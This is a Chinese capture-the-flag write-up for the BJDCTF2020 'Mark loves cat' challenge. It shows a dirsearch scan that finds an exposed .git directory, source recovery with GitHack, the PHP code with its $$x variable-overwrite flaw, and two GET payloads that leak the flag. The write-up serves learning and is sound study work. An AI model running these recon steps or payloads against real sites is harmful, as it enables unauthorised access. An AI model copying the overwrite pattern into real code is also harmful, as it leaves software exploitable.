[BJDCTF2020]Mark loves cat (两种解法)(变量覆盖漏洞)
看了大佬们的WP,才搞明白,话不多说,打开靶机
进去就先扫一下dirsearch
dirsearch.py -u url -e * --timeout=2 -t 1 -x 400,403,404,500,503,429 (低线程)
发现.git文件
用githack下载,建议用py3的
下载下来审计源码
<?php include 'flag.php'; $yds = "dog"; $is = "cat"; $handsome = 'yds'; foreach($_POST as $x => $y){ //很明显的有变量覆写漏洞 $$x = $y ; } foreach($_GET as $x => $y){ //如果传入$x=flag&$y=flag 则$flag=$flag就可以输出结果 $$x = $$y; } foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ //传入GET的键名要为flag,然而键名又不能有flag,(直接弃了这个) exit($handsome); } } if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //不存在键名为flag的GET与POST,输出变量$yds exit($yds); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //传入的POST的键名为flag,且GET的键名也为flag,值都为flag,则输出变量$is exit($is); } echo "the flag is: ".$flag;
那一开始是完全没有头绪,也是第一次写变量覆写的题
审计代码之后,先尝试POST与GET传参
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //传入的POST的键名为flag,且GET的键名也为flag,值都为flag,则输出变量$is exit($is); }
传出了$is,说明可行,那就研究一下传递,通过覆写掉is的值,给他赋一个flag的值,让参数成为 $flag=$flag,所以payload= /?is=flag&flag=flag
得到了flag
还有一种是利用
foreach($_GET as $x => $y){ //如果传入$x=flag&$y=flag 则$flag=$flag就可以输出结果 $$x = $$y; }
通过覆写yds参数进行输出,对yds GET传值,payload为:/?yds=flag ,即$yds=flag => $y=flag -----> $flag=$flag
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //不存在键名为flag的GET与POST,输出变量$yds exit($yds); //$yds=$flag }
一样可以得到flag
我是Dixk-BXy,新手上路,转载请注明原文链接:https://www.cnblogs.com/DenZi/articles/15147013.html